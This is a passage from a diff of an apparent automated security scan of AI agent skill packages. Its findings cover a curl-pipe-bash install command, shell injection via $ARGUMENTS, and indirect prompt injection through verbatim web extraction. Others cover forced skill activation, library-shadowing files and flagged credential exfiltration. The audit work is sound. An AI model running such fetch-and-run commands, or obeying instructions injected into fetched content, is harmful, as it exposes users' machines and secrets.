metacharacters.-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Unauthenticated Remote Script Execution During Setup- > The setup instructions direct the agent to execute a remote shell script via curl piped directly to bash without any integrity verification (no checksum, no signature validation). This is a classic supply chain attack vector: if the remote URL (https://parallel.ai/install.sh) is compromised, the agent will execute arbitrary malicious code on the user's machine with the user's privileges.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Installation Script Fetched from Remote URL via Curl-Pipe-Bash Pattern+ > The setup instructions direct the agent to execute a remote shell script via the classic curl-pipe-bash pattern: `curl -fsSL https://parallel.ai/install.sh | bash`. This pattern is inherently dangerous as it executes arbitrary remote code without any integrity verification (no checksum, no signature verification). If the remote URL is compromised or the DNS is hijacked, malicious code would be executed directly on the user's machine with the agent's privileges.> File: `SKILL.md`- > **Remediation:** Replace the curl-pipe-bash pattern with a verified installation method. At minimum, instruct the agent to download the script first, display it to the user for review, and only execute after explicit user confirmation. Prefer the 'uv tool install' method which has package integrity verification, or provide a checksum verification step.+ > **Remediation:** Replace curl-pipe-bash with a verified installation method: download the script first, verify its cryptographic hash against a published checksum, then execute. Alternatively, use a package manager with signed packages. At minimum, document the expected hash of the install script.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — API Key Exposure Risk via Environment and .env File Handling- > The setup instructions direct the agent to read and handle API keys from .env files and environment variables. The instructions include 'export PARALLEL_API_KEY="your-key"' and loading from .env files. While this is standard practice, the skill provides no guidance on protecting the key from being logged, echoed to stdout, or included in command output that may be captured in context. The agent is also instructed to check for the key's presence in .env files, which could inadvertently expose the key value in agent output.+- **🟠 HIGH** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims and Forced Activation in Skill Description+ > The skill description contains explicit instructions to activate this skill for ANY web-related task, even when the user does not mention 'parallel' or 'web' explicitly. The description states: 'Use this skill for ANY web-related task — even if the user doesn't mention 'parallel' or 'web' explicitly.' This is a classic capability inflation / keyword baiting pattern designed to maximize skill activation beyond its legitimate scope, potentially displacing other skills or the agent's default behavior.> File: `SKILL.md`- > **Remediation:** Add explicit instructions to never display or log the API key value. Instruct the agent to verify key presence without echoing its value. Use 'parallel-cli auth' status checks that don't expose the key itself.+ > **Remediation:** Narrow the description to accurately reflect the skill's specific capabilities without over-broad activation triggers. Remove directives that instruct the agent to use this skill even when not explicitly requested.-- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims and Forced Activation in Skill Description- > The skill description contains explicit instructions to activate this skill for ANY web-related task, even when the user does not mention 'parallel' or 'web' explicitly. The description states: 'Use this skill for ANY web-related task — even if the user doesn't mention 'parallel' or 'web' explicitly.' This is a form of capability inflation and activation priority manipulation designed to maximize the skill's invocation frequency beyond what the user explicitly requests, potentially displacing other legitimate tools or skills.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — API Key Exposure Risk via Environment Variable and .env File Handling+ > The setup instructions direct the agent to read a `.env` file from the project root to extract `PARALLEL_API_KEY` and pass it to authentication commands. This pattern risks exposing the API key in command history, process listings, or logs. Additionally, the fallback `export PARALLEL_API_KEY="your-key"` pattern could expose the key in shell history.> File: `SKILL.md`- > **Remediation:** Narrow the description to accurately reflect the skill's specific capabilities without instructing the agent to use it for all possible web tasks. Remove the directive to activate even when the user doesn't mention the relevant keywords.+ > **Remediation:** Avoid exposing API keys in command-line arguments or environment variable exports visible in process listings. Use secure credential storage mechanisms. Warn users not to hardcode keys in shell commands. Prefer interactive authentication flows that don't expose keys in process arguments.-- **🟡 MEDIUM** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation Without Version Constraints- > The setup section installs packages without pinning to specific versions: 'uv tool install "parallel-web-tools[cli]"' and 'pip install python-dotenv[cli]'. Unpinned installations are vulnerable to dependency confusion attacks and supply chain compromise, where a malicious version of the package could be published and automatically installed.+- **🟡 MEDIUM** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation via uv tool install+ > The fallback installation method uses `uv tool install "parallel-web-tools[cli]"` without pinning to a specific version. This means the agent will always install the latest available version of the package, which could be a compromised or malicious version if the package is ever taken over or if a typosquatting package is published. The package name 'parallel-web-tools' is not a well-known package and its provenance is unclear.> File: `SKILL.md`- > **Remediation:** Pin all package installations to specific verified versions (e.g., 'uv tool install "parallel-web-tools[cli]==1.2.3"'). Include hash verification where supported. Document the expected package version in the skill manifest.+ > **Remediation:** Pin to a specific known-good version (e.g., `uv tool install "parallel-web-tools[cli]==1.2.3"`). Verify the package publisher matches the expected author (K-Dense, Inc.). Consider documenting the expected package hash or using a lockfile.- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing License Information- > The skill manifest does not specify a license, which reduces transparency about the skill's provenance and usage rights. Combined with the broad activation instructions, this makes it harder for users to assess the trustworthiness of the skill.+ > The skill manifest does not specify a license, which reduces transparency about the terms under which the skill and its dependencies (parallel-cli, parallel-web-tools) can be used. This is a minor provenance concern.> File: `SKILL.md`- > **Remediation:** Add a license field to the YAML frontmatter specifying the applicable license (e.g., MIT, Apache-2.0, or proprietary).+ > **Remediation:** Add a license field to the YAML frontmatter specifying the applicable license for the skill package.-- **🔵 LOW** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection Risk via Unvalidated Web Content Extraction- > The web-extract capability instructs the agent to return extracted content 'verbatim' from arbitrary URLs, including academic PDFs and web pages. Malicious web pages could embed prompt injection instructions within their content that the agent would then process as part of its context. The instruction 'Keep content verbatim - do not paraphrase or summarize' and 'Preserve all facts, names, numbers, dates, quotes' increases the risk that injected instructions in fetched content would be faithfully reproduced and potentially acted upon.- > File: `references/web-extract.md`- > **Remediation:** Add instructions to treat all extracted web content as untrusted data, not as instructions. Instruct the agent to wrap extracted content in clear delimiters and explicitly note that content from external sources should never be interpreted as agent instructions. Consider sanitizing or flagging content that contains instruction-like patterns.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Declaration+ > The skill manifest does not declare an `allowed-tools` field, meaning there are no explicit restrictions on which agent tools this skill can invoke. Given that the skill executes bash commands (curl, parallel-cli), writes output files, and reads .env files, declaring allowed tools would improve transparency and enable enforcement of least-privilege access.+ > File: `SKILL.md`+ > **Remediation:** Add an `allowed-tools` field declaring the minimum required tools (e.g., Bash, Read, Write) to enable least-privilege enforcement and improve transparency.-### pathml — 🟠 HIGH+- **🟠 HIGH** `LLM_COMMAND_INJECTION` — Unvalidated User Input Passed Directly to Shell Commands via $ARGUMENTS+ > Multiple referenced files (references/web-search.md, references/web-extract.md, references/deep-research.md, references/data-enrichment.md) construct shell commands by directly interpolating $ARGUMENTS — which represents raw user input — into bash command strings without any sanitization or validation. This creates a command injection vulnerability. A malicious user could craft input containing shell metacharacters (e.g., semicolons, backticks, $(), pipes) to execute arbitrary commands on the host system.+ > File: `references/data-enrichment.md`+ > **Remediation:** Sanitize and validate all user-supplied input before interpolating into shell commands. Use parameterized invocation patterns (e.g., Python subprocess with argument lists rather than shell=True string interpolation). Reject or escape shell metacharacters in user input. Consider using a wrapper script that validates input before passing to parallel-cli.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — External Network Calls to Third-Party APIs in Documentation Examples- > The reference documentation includes code examples that make network calls to external services, including the DeepCell cloud API (https://deepcell.org/api/predict) for remote cell segmentation. While these are documented as optional alternatives to local processing, an agent following these instructions would transmit potentially sensitive pathology image data to an external third-party service. Medical imaging data may be subject to privacy regulations (HIPAA, GDPR).- > **Remediation:** Add explicit warnings in the documentation that using SegmentMIFRemote transmits image data to an external service. Recommend users prefer local SegmentMIF for sensitive or regulated data. Consider adding a note about data privacy implications before using remote inference.+- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection via Extracted Web Content Returned Verbatim+ > The web-extract reference file explicitly instructs the agent to 'Keep content verbatim - do not paraphrase or summarize' and 'Preserve all facts, names, numbers, dates, quotes' from extracted web pages and academic PDFs. This means malicious instructions embedded in any fetched webpage or PDF (indirect prompt injection) would be returned verbatim to the agent's context, potentially influencing subsequent agent behavior. The instruction to preserve content without filtering creates a direct vector for indirect prompt injection.+ > File: `references/web-extract.md`+ > **Remediation:** Add explicit instructions to treat all extracted web content as untrusted data, not as instructions. Instruct the agent to sanitize or flag any content that resembles system prompts or instruction overrides before presenting to the user. Consider summarizing rather than verbatim extraction to reduce injection surface.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools and Compatibility Metadata- > The SKILL.md manifest does not specify 'allowed-tools' or 'compatibility' fields. While these are optional per the agent skills specification, their absence means there are no declared restrictions on which agent tools this skill may invoke. Given the skill's broad scope (ML model training, distributed processing, file I/O, network access to external APIs like DeepCell), explicit tool declarations would improve security posture and help prevent unintended capability use.- > File: `SKILL.md`- > **Remediation:** Add 'allowed-tools' to the YAML frontmatter to explicitly declare which tools the skill requires (e.g., Python, Bash, Read, Write). Add 'compatibility' to clarify supported environments. This helps the agent runtime enforce appropriate restrictions.+### pathml — 🟠 HIGH- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation in Quick Start Instructions- > The SKILL.md Quick Start section instructs installation of 'pathml' and 'pathml[all]' without version pinning. Unpinned package installations are vulnerable to supply chain attacks where a malicious package version could be published and automatically installed. This is particularly relevant for a package with broad capabilities including ML model loading, file I/O, and network access.+ > The SKILL.md Quick Start section instructs installation of pathml without version pinning ('uv pip install pathml' and 'uv pip install pathml[all]'). This means the agent could install any version of the package, including potentially compromised future versions. The skill is authored by 'K-Dense Inc.' and uses a GPL-2.0 license, but no specific version is pinned.> File: `SKILL.md`- > **Remediation:** Pin the package version in installation instructions (e.g., 'uv pip install pathml==X.Y.Z'). Consider adding a checksum or hash verification step. Document the expected version in the YAML frontmatter version field.+ > **Remediation:** Pin the pathml package to a specific known-good version (e.g., 'uv pip install pathml==X.Y.Z') to prevent supply chain attacks via version substitution or dependency confusion.++- **🔵 LOW** `LLM_COMMAND_INJECTION` — Python eval/exec Usage in Documentation Code Blocks+ > Static analysis flagged multiple instances of eval/exec patterns in the markdown documentation code blocks. Upon review, these appear within legitimate educational/documentation code examples (e.g., SLURM job script generation using Python string formatting with .format(), and standard PyTorch/ML training loop patterns). The flagged patterns are in illustrative code snippets within reference files, not in executable scripts bundled with the skill. However, the SLURM script generation in references/data_management.md uses string formatting to construct shell scripts that are written to disk and executed, which could be a concern if user-controlled input were passed to those parameters.+ > File: `references/data_management.md`+ > **Remediation:** The code examples are documentation-only and do not represent executable skill scripts. No immediate remediation required. If these patterns are adapted into actual executable scripts, ensure that any user-controlled input is sanitized before being interpolated into shell scripts or passed to eval/exec.++- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded Distributed Processing Without Resource Limits+ > Multiple reference files document Dask-based distributed processing patterns that spawn large numbers of workers and process entire slide datasets without explicit resource caps or timeout mechanisms. For example, 'n_workers=8' with 'memory_limit=8GB' per worker could consume 64GB+ RAM. The batch processing patterns iterate over entire directories of WSI files (often multi-GB each) without progress checkpointing or failure recovery, potentially leading to resource exhaustion on the agent's host machine.+ > File: `references/data_management.md`+ > **Remediation:** Add guidance to query available system resources before spawning workers. Include explicit warnings about memory requirements for large WSI datasets. Document checkpointing strategies to allow resumption of interrupted batch jobs rather than reprocessing from scratch.- **🟠 HIGH** `MDBLOCK_PYTHON_EVAL_EXEC` — Python code block uses eval/exec> Code block in references/data_management.md at line 441 contains potentially dangerous Python code.> File: `references/data_management.md:441`> **Remediation:** Review the code block for security implications.-- **🔵 LOW** `LLM_COMMAND_INJECTION` — Python eval/exec Usage in Documentation Code Blocks- > Static analysis flagged multiple instances of eval/exec patterns in the markdown documentation files. Upon review, these appear within educational code examples in the reference documentation (e.g., references/data_management.md, references/machine_learning.md) rather than in executable scripts. The code blocks demonstrate legitimate pathology workflows. However, if an agent were to execute these code blocks directly, any user-controlled input passed to such patterns could lead to code injection. No actual standalone Python scripts are present in this skill package.- > File: `references/machine_learning.md`- > **Remediation:** Review all code examples in documentation to ensure they do not use eval/exec with user-controlled input. If these code blocks are intended to be executed by the agent, add explicit warnings about sanitizing inputs before passing to any dynamic execution functions.-- **🟠 HIGH** `MDBLOCK_PYTHON_EVAL_EXEC` — Python code block uses eval/exec> Code block in references/machine_learning.md at line 228 contains potentially dangerous Python code.> File: `references/machine_learning.md:228`@@ -1804,200 +1817,297 @@> File: `references/machine_learning.md:540`> **Remediation:** Review the code block for security implications.-### polars — 🟠 HIGH+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Remote API Call for Cell Segmentation (SegmentMIFRemote)+ > The references/preprocessing.md and references/multiparametric.md document a 'SegmentMIFRemote' transform that sends image data to an external DeepCell API endpoint (https://deepcell.org/api). While this is a documented, legitimate third-party service, it involves transmitting potentially sensitive pathology image data (which may contain patient-identifiable information in medical imaging contexts) to an external server. This is presented as a normal workflow option without privacy warnings.+ > File: `references/preprocessing.md`+ > **Remediation:** Add explicit documentation warnings that SegmentMIFRemote transmits image data to an external third-party server. Users should be advised to ensure compliance with data privacy regulations (HIPAA, GDPR) before using remote inference with patient-derived pathology images. Prefer local SegmentMIF for sensitive data.++### primekg — 🟠 HIGH-- **🔵 LOW** `LLM_COMMAND_INJECTION` — Python eval/exec Usage in Code Examples- > The static analyzer flagged a potential eval/exec usage in the Python code blocks within the reference documentation. After reviewing all referenced files (references/core_concepts.md, references/transformations.md, references/best_practices.md, references/pandas_migration.md, references/io_guide.md, references/operations.md), no actual eval() or exec() calls were found in the code examples. The flag appears to be a false positive from the static analyzer pattern matching. All Python code blocks contain legitimate Polars API usage with no dynamic code execution patterns.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Developer Username Leaked in SKILL.md Documentation+ > The SKILL.md instruction body explicitly references 'C:\Users\eamon\Documents\Data\PrimeKG\kg.csv', leaking the developer's Windows username ('eamon') and personal directory structure in the distributed skill package. While not a direct runtime vulnerability, this constitutes an unintentional information disclosure about the developer's environment.> File: `SKILL.md`- > **Remediation:** No action required. The static analyzer flag is a false positive. Continue monitoring for any future additions of eval/exec patterns in code examples.+ > **Remediation:** Replace the hardcoded developer path in documentation with a generic placeholder such as '<YOUR_DATA_PATH>/kg.csv' and instruct users to configure the path via an environment variable or configuration file.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Manifest Field- > The SKILL.md manifest does not specify the 'allowed-tools' field. While this is an optional field per the agent skills specification, its absence means there are no declared restrictions on which agent tools this skill can invoke. The skill instructs the agent to load multiple reference files (references/core_concepts.md, references/operations.md, references/io_guide.md, etc.), which implies Read tool usage, but this is not declared.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing License and Compatibility Metadata+ > The skill manifest declares license as 'Unknown' and does not specify compatibility. The skill also lacks an allowed-tools declaration. While individually minor, the combination of missing metadata reduces transparency about the skill's intended operating environment and permissions, making it harder for users and security reviewers to assess the skill's scope and trustworthiness.> File: `SKILL.md`- > **Remediation:** Consider adding 'allowed-tools: [Read]' to the YAML frontmatter to explicitly declare that this skill only requires file reading capabilities, improving transparency and enabling tool restriction enforcement.+ > **Remediation:** Add explicit license information (the underlying PrimeKG data uses specific academic licenses that should be declared), specify compatibility (e.g., 'Claude Code'), and add an allowed-tools declaration listing at minimum 'Python' and 'Read' to document intended tool usage.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Cloud Credential Handling in Reference Documentation- > The io_guide.md reference file contains examples showing how to set AWS, Azure, and GCS credentials via environment variables (os.environ). While these are legitimate documentation examples for cloud storage access, they demonstrate patterns for handling sensitive credentials. If a user follows these examples without proper security practices, credentials could be exposed in code or logs.- > File: `references/io_guide.md`- > **Remediation:** Add a security note in the documentation advising users to use proper credential management (IAM roles, credential files, secrets managers) rather than hardcoding credentials in environment variable assignments within scripts.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Hardcoded Absolute Path Exposes Developer's Personal File System Layout+ > The skill hardcodes an absolute path referencing a specific developer's home directory: '/mnt/c/Users/eamon/Documents/Data/PrimeKG/kg.csv' (and 'C:\Users\eamon\Documents\Data\PrimeKG\kg.csv' in the SKILL.md). This exposes the original developer's username and personal directory structure. More critically, this path is unlikely to exist on any end-user's system, causing the skill to silently fail or, if an attacker can influence the filesystem at that path, potentially load a malicious CSV file instead of the legitimate PrimeKG dataset.+ > File: `scripts/query_primekg.py:7`+ > **Remediation:** Replace the hardcoded path with a configurable environment variable (e.g., os.environ.get('PRIMEKG_DATA_PATH', default_relative_path)) or use a path relative to the skill's own directory. Document the required setup step for users to provide their own data path.-- **🟠 HIGH** `MDBLOCK_PYTHON_EVAL_EXEC` — Python code block uses eval/exec- > Code block in references/operations.md at line 531 contains potentially dangerous Python code.- > File: `references/operations.md:531`- > **Remediation:** Review the code block for security implications.+- **🟡 MEDIUM** `LLM_RESOURCE_ABUSE` — Repeated Full CSV Load on Every Function Call Causes Compute Exhaustion+ > The _load_kg() helper is called inside every public function (search_nodes, get_neighbors, find_paths, get_disease_context). Each call reads the entire 4-million-edge CSV (~hundreds of MB) from disk into memory. Since get_disease_context() calls both search_nodes() and get_neighbors() internally, a single high-level call triggers at least two full CSV loads. Under normal use this is inefficient; under adversarial use (e.g., rapid repeated calls), this can exhaust system memory and CPU, constituting a denial-of-service risk.+ > File: `scripts/query_primekg.py:10`+ > **Remediation:** Implement module-level caching (e.g., a global _KG_CACHE variable set on first load, or use functools.lru_cache on _load_kg). This ensures the CSV is loaded only once per process lifetime, dramatically reducing resource consumption.++- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Unsanitized User Input Passed Directly to pandas str.contains (Regex Injection)+ > The search_nodes() function passes the user-supplied name_query string directly to pandas str.contains(), which by default interprets the input as a regular expression. A malicious or malformed regex pattern (e.g., '(a+)+' or catastrophic backtracking patterns) could cause severe CPU exhaustion or unexpected behavior. Additionally, if the regex is crafted carefully, it could be used to extract unintended data matches from the knowledge graph.+ > File: `scripts/query_primekg.py:52`+ > **Remediation:** Escape user input before passing to str.contains by using regex=False parameter: nodes['name'].str.contains(name_query, case=False, na=False, regex=False). This treats the input as a literal string rather than a regex pattern.### qutip — 🟠 HIGH-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools and Compatibility Metadata- > The SKILL.md manifest does not specify 'allowed-tools' or 'compatibility' fields. While these are optional per the agent skills spec, their absence means the agent has no declared restrictions on which tools it may use when executing this skill. Given that the skill instructs installation of packages via bash and execution of Python code, declaring these capabilities explicitly would improve security posture and allow enforcement of least-privilege principles.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools and compatibility Metadata+ > The SKILL.md manifest does not specify 'allowed-tools' or 'compatibility' fields. While these are optional per the agent skills specification, their absence means there are no declared constraints on which agent tools this skill may use. Given that the skill instructs installation of packages via bash and execution of Python code, declaring these capabilities explicitly would improve transparency and allow agent runtimes to enforce appropriate restrictions.> File: `SKILL.md`- > **Remediation:** Add 'allowed-tools: [Bash, Python]' and a 'compatibility' field to the YAML frontmatter to explicitly declare the tools this skill requires, enabling agents to enforce appropriate restrictions.+ > **Remediation:** Add 'allowed-tools: [Python, Bash]' and a 'compatibility' field to the YAML frontmatter to explicitly declare the tools this skill requires and the environments it supports. This improves transparency and enables runtime enforcement of tool restrictions.- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation- > The SKILL.md instructs installation of qutip and optional packages (qutip-qip, qutip-qtrl) using 'uv pip install qutip' without version pinning. Unpinned dependencies can be exploited via supply chain attacks where a malicious version of a package is published, or a future version introduces breaking changes or malicious code. This is a low-severity concern for a well-known scientific library, but best practice requires pinning versions.+ > The skill instructs installation of QuTiP and optional packages using 'uv pip install qutip' without version pinning. This means the installed version is not deterministic and could change over time, potentially introducing breaking changes or, in a supply chain attack scenario, a compromised package version. The optional packages qutip-qip and qutip-qtrl are also installed without version constraints.> File: `SKILL.md`- > **Remediation:** Pin package versions explicitly, e.g., 'uv pip install qutip==5.0.4 qutip-qip==0.4.0'. This ensures reproducibility and protects against supply chain attacks via version substitution.+ > **Remediation:** Pin package versions to known-good releases, e.g., 'uv pip install qutip==5.0.4'. This ensures reproducibility and reduces supply chain risk. Consider also specifying a hash or using a lockfile for production environments.-- **🔵 LOW** `LLM_COMMAND_INJECTION` — Use of eval/exec in Python Code Blocks- > The static analyzer flagged a Python code block containing eval or exec usage within the skill's reference documentation. While these appear in educational/example code blocks within the reference markdown files (e.g., references/time_evolution.md, references/analysis.md, references/advanced.md), the agent may be instructed to execute these code examples. The use of eval/exec in agent-executed code can lead to arbitrary code execution if user-controlled input is passed to these constructs. Review of the reference files shows no direct eval/exec calls in the visible content, but the static scanner detected one. This warrants attention if the agent executes code blocks from these files.- > File: `references/time_evolution.md`- > **Remediation:** Identify the specific code block containing eval/exec. If it is purely educational/documentation content that the agent will not execute, add a clear comment indicating it is illustrative only. If the agent may execute it, ensure no user-controlled input flows into eval/exec calls.+- **🔵 LOW** `LLM_COMMAND_INJECTION` — eval/exec Usage in Code Examples+ > The static analyzer flagged a potential eval/exec usage in the Python code blocks within the skill's reference documentation. Reviewing the content, the code examples in the reference files use standard QuTiP API calls and do not contain direct eval() or exec() calls with user-controlled input. The flagged pattern likely refers to QuTiP's internal string-based time-dependent Hamiltonian compilation (e.g., 'cos(w*t)' strings passed to solvers), which QuTiP compiles internally. While this is a legitimate QuTiP feature, users should be aware that string-based Hamiltonians are evaluated by QuTiP's internal compiler and should not be constructed from untrusted user input.+ > File: `references/advanced.md`+ > **Remediation:** When implementing this skill, ensure that string-based time-dependent Hamiltonian expressions (e.g., 'cos(w*t)') are not constructed from untrusted user input. Only use hardcoded or validated mathematical expressions. If user-provided parameters are needed, use the function-based or QobjEvo approach instead of string interpolation.- **🟠 HIGH** `MDBLOCK_PYTHON_EVAL_EXEC` — Python code block uses eval/exec> Code block in references/visualization.md at line 197 contains potentially dangerous Python code.> File: `references/visualization.md:197`> **Remediation:** Review the code block for security implications.-### scientific-brainstorming — 🟠 HIGH+### scikit-bio — 🟠 HIGH-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Static Analysis Flags Environment Variable Exfiltration and Cross-File Exfiltration Chain- > The pre-scan static analysis reports BEHAVIOR_ENV_VAR_EXFILTRATION (environment variable access combined with network calls), BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN (cross-file exfiltration chain across 2 files), and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION (cross-file environment variable exfiltration across 2 files). The file inventory indicates 3 Python files are present in the skill package, yet no script content was surfaced in the provided analysis input. This discrepancy — Python files exist but their content was not shown — combined with the static analysis flags strongly suggests hidden Python scripts that read environment variables (potentially credentials, API keys, or tokens) and transmit them to external endpoints. The skill's stated purpose (scientific brainstorming, a purely conversational task) has no legitimate need for environment variable access or network calls.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Static Analyzer Detected Environment Variable Exfiltration with Network Calls Across Missing Files+ > The pre-scan static analyzer explicitly flagged BEHAVIOR_ENV_VAR_EXFILTRATION (environment variable access with network calls) and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION across 3 files. The file inventory shows 3 Python files in the package, but no script files were provided for review. This strongly suggests that one or more of the unreported Python scripts (possibly skbio.py or others) read environment variables (e.g., API keys, AWS credentials, tokens) and transmit them to external servers. This is a critical data exfiltration pattern.+ > **Remediation:** Immediately audit all 3 Python files in the package. Look for patterns like os.environ, os.getenv, subprocess calls combined with requests.post/urllib calls to external domains. Do not install or run this skill until all Python files have been reviewed and cleared. If exfiltration is confirmed, treat as a supply chain compromise.++- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing or Unverifiable Script Files Referenced in Instructions+ > The SKILL.md references 'skbio.py', 'templates/api_reference.md', and 'assets/api_reference.md' as part of the skill package, but these files were not found. The static pre-scan also flags cross-file exfiltration chains across 3 files and environment variable exfiltration with network calls. While the provided content appears benign, the missing files cannot be analyzed and may contain malicious logic that the static analyzer detected.> File: `SKILL.md`- > **Remediation:** 1. Immediately inspect all 3 Python files in the skill package for environment variable reads (os.environ, os.getenv) and network calls (requests, urllib, http.client, socket, etc.). 2. Remove any code that reads credentials or sensitive environment variables. 3. Remove any outbound network calls not explicitly required by the skill's stated purpose. 4. If network calls are legitimately needed, document them in the manifest and restrict to known safe endpoints. 5. Do not deploy this skill until the Python file contents have been fully audited.+ > **Remediation:** Audit all referenced files (skbio.py, templates/api_reference.md, assets/api_reference.md) for malicious content. The static analyzer flagged cross-file exfiltration chains and environment variable access combined with network calls across these files. Ensure no script reads environment variables (API keys, credentials) and transmits them externally.-- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — Missing Referenced Files May Allow Future Indirect Prompt Injection- > The SKILL.md instructions reference 'references/brainstorming_methods.md' and also mention 'assets/brainstorming_methods.md' and 'templates/brainstorming_methods.md'. Two of these files (assets/ and templates/ variants) were not found in the package. If these files are later added or substituted by a malicious actor, they could contain injected instructions that the agent would follow during brainstorming sessions. The instruction 'Consult references/brainstorming_methods.md for additional structured techniques' creates a trust delegation to file content that could be manipulated.+### scikit-survival — 🟠 HIGH++- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Static Analysis Flagged Environment Variable Exfiltration and Cross-File Exfiltration Chain in Missing Scripts+ > The pre-scan static analysis flagged three critical behavioral indicators: (1) BEHAVIOR_ENV_VAR_EXFILTRATION - environment variable access combined with network calls, (2) BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN - a cross-file exfiltration chain spanning 3 files, and (3) BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION - cross-file environment variable exfiltration across 3 files. The skill package references two Python files (sksurv.py and sklearn.py) that were not provided for review. These files, combined with the static analysis findings, strongly suggest that the missing scripts may harvest environment variables (potentially containing API keys, credentials, or tokens) and exfiltrate them via network calls, possibly chained across multiple files to evade detection. The skill is presented as a benign data science toolkit, making this a potential tool poisoning scenario.+ > **Remediation:** Do NOT deploy this skill. Obtain and review the complete contents of sksurv.py and sklearn.py before any use. Look for os.environ access, requests/urllib calls, subprocess calls, and any data transmission to external endpoints. If malicious behavior is confirmed, report the skill package as malicious. The use of filenames mimicking legitimate libraries (sksurv, sklearn) is a strong indicator of supply chain / tool poisoning intent.++- **🟠 HIGH** `LLM_UNAUTHORIZED_TOOL_USE` — Potential Tool Poisoning via Misleading Library-Named Python Files+ > The skill references Python files named sksurv.py and sklearn.py - names that directly mimic the legitimate scikit-survival (sksurv) and scikit-learn (sklearn) Python libraries. If these files are present in the Python path when the agent executes code, they could shadow the legitimate libraries, causing the agent to import malicious code instead of the real libraries whenever it runs any of the extensive Python code examples provided in the skill instructions. This is a classic tool/library shadowing attack. The skill instructions contain dozens of import statements for both sksurv and sklearn modules, all of which would be intercepted by malicious shadow files.> File: `SKILL.md`- > **Remediation:** 1. Remove references to files that do not exist in the package. 2. Ensure all referenced files are bundled with the skill and their content is reviewed before deployment. 3. Consider inlining critical instructions rather than delegating to external files to reduce the attack surface for indirect prompt injection.+ > **Remediation:** Do NOT deploy this skill. The presence of files named sksurv.py and sklearn.py in the skill package is a strong indicator of library shadowing/tool poisoning. These filenames are chosen to intercept imports of legitimate scientific Python libraries. Remove these files entirely or verify their contents are benign before any use. Ensure the skill's working directory is not in the Python path when executing code.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools and compatibility metadata- > The SKILL.md manifest does not specify 'allowed-tools' or 'compatibility' fields. While these are optional per the agent skills spec, their absence means there are no declared restrictions on which agent tools this skill may invoke. Given the pre-scan static analysis flags indicating potential environment variable access and network calls in associated Python files (not surfaced in the provided content), this omission is worth noting.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration+ > The skill does not declare an allowed-tools field in its YAML manifest. While this is optional per the spec, the skill references Python code execution patterns extensively and bundles multiple reference files. Declaring allowed-tools would improve transparency about what agent capabilities this skill requires.> File: `SKILL.md`- > **Remediation:** Add explicit 'allowed-tools' restrictions to the manifest to limit the skill to only the tools it legitimately needs (e.g., Read, Grep). This provides a declared security boundary.+ > **Remediation:** Add an explicit allowed-tools declaration to the YAML manifest, e.g., allowed-tools: [Read, Python] to document the intended tool usage scope.-### bulk-rnaseq — 🟡 MEDIUM+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Description May Trigger Unintended Activation+ > The skill description is very broad, listing numerous trigger conditions including 'implementing any survival analysis workflow with the scikit-survival library'. While this is a legitimate documentation skill, the expansive list of activation keywords and the catch-all phrase 'any survival analysis workflow' could cause the skill to be activated more broadly than necessary, potentially displacing other more specific skills.+ > File: `SKILL.md`+ > **Remediation:** Narrow the activation description to specific, well-defined use cases rather than using catch-all phrases like 'any survival analysis workflow'.-- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — Transitive Trust Delegation to External Pipeline (nf-core/rnaseq)- > The skill instructs the agent to execute 'nextflow run nf-core/rnaseq -r 3.26.0' which fetches and executes pipeline code from an external source (nf-co.re / GitHub). While a revision is pinned with '-r 3.26.0', the pipeline code itself is fetched at runtime from the internet. If the nf-core repository or its dependencies were compromised, the agent would execute malicious pipeline code. The skill also delegates significant trust to the 'nextflow' skill for execution details, creating a transitive trust chain.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Missing Referenced Files May Indicate Incomplete Package+ > Several files referenced in the skill instructions are not found in the package: templates/ensemble-models.md, assets/evaluation-metrics.md, assets/cox-models.md, assets/data-handling.md, assets/ensemble-models.md, assets/svm-models.md, templates/competing-risks.md, sksurv.py, templates/evaluation-metrics.md, assets/competing-risks.md, templates/data-handling.md, sklearn.py, templates/cox-models.md, templates/svm-models.md. The presence of missing 